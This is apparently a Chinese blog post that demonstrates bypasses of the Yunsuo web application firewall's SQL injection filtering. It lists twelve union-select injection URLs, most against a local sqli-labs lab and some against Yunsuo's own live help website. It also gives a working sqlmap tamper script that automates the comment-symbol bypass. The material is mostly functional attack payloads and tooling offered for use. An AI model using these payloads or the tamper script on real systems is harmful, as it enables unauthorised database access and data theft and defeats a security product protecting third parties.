之前对云锁的规则进行了测试,最终发现了云锁一个致命的弱点,就是如果如果其中包含了注释符号,那么其后门的内容便不进行过滤,这里的我们说的注释符号包括/*,--,%23,既然发现了这个规则那么,我们就可以针对此规则构造正确的语句即可,经过我的测试,发现绕过的方法数不胜数,我们这里列出几个,下面代码里面的%23都可以 替换为--/*来进行测试,都是可以绕过的

测试环境

本机云锁版本

目前官网版本:

绕过方法1

http://192.168.252.151/sqli-labs/Less-1/?id=-1' || 1="%23" union select 1,2,3 -- +

绕过方法2

http://192.168.252.151/sqli-labs/Less-1/?id=-1' > "%23" union select 1,2,3 -- +

绕过方法3

http://192.168.252.151/sqli-labs/Less-1/?id=-1' != "%23" union select 1,2,3 -- +

绕过方法4

http://192.168.252.151/sqli-labs/Less-1/?id=-1' like "%23" union select 1,2,3 -- +

绕过方法5

http://192.168.252.151/sqli-labs/Less-1/?id=1' rlike "%23"  union select 1,2,3 -- +

绕过方法6

http://192.168.252.151/sqli-labs/Less-1/?id=-1' != "%23"  union select 1,2,3 -- +

绕过方法7

http://192.168.252.151/sqli-labs/Less-1/?id=-1' < "%23" union select 1,2,3 -- +

绕过方法8

http://192.168.252.151/sqli-labs/Less-1/?id=1' = "%23"  union select 1,2,3 -- +

绕过方法9

http://192.168.252.151/sqli-labs/Less-1/?id=-1' group by "%23"  union select 1,2,3 -- +

绕过方法10

http://192.168.252.151/sqli-labs/Less-1/?id=-1' || "%23"  union select 1,2,3 -- +

绕过方法11

http://192.168.252.151/sqli-labs/Less-1/?id=-1' "%23"  union select 1,2,3 -- +

绕过方法12

http://help.yunsuo.com.cn/guide/install/?id=2' %26 "%23" union select 1,2,3 -- +

SQLMAP TAMPER

我针对以上的测试都是针对字符型的进行测试,数值型有些会报错,大家可以自行变形,其实使用"%23"也可以过

那么就有一个问题既然你"%23"就可以过了,还搞那么其他干嘛?这是因为单单使用"%23",不能适配数字型的注入。

了解这些以后,我们使用第一种来写sqlmap的tamper。这里我们为了减少代码量,我们直接使用正则进行匹配来完成代码的替换。这个tamper字符型和数字型通用。

#!/usr/bin/env python

"""
author:Alexsel
"""

import os
import re
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
    if payload:
        if(re.match("^[>=|<=]",payload)):
            return payload
        if(re.match("^-{0,1}?\d+$",payload)):
            return payload
        if(re.match("^\(SELECT",payload)):
            payload = "|| 1='%23' "+payload
            return payload
        rex = '^-{0,1}?[\d|\w]*%{0,1}[\'|"|`]*\\)*[ |;]'                        
        payload = re.sub(rex, lambda x:x.group(0)+" %26%26 1!='%23' ", payload)      
    return payload

其中前三个if判断仅仅是为了减少云锁的警告,真正匹配并替换的只有如下两句。

rex = '^-{0,1}?[\d|\w]*%{0,1}[\'|"|`]*\\)*[ |;]'                        
payload = re.sub(rex, lambda x:x.group(0)+" %26%26 1!='%23' ", payload)   

我们可以根据我之前列举的十几个例子中的关键部分直接替换上面的代码中的 %26%26 1!='%23' 即可完成tamper的更新。

针对云锁官网测试

以上的方法都能过最新的云锁,但是官方的网站中的云锁总是那么与众不同,经过测试之后,我们找到了可以正绕过官方网站中的几个方法,也是可以正常注入的。

http://help.yunsuo.com.cn/guide/install/?id=2' || 1="%23" union select 1,2,3 -- +

http://help.yunsuo.com.cn/guide/install/?id=2' %26 "%23" union select 1,2,3 -- +

最后修改:2020 年 09 月 09 日 10 : 48 PM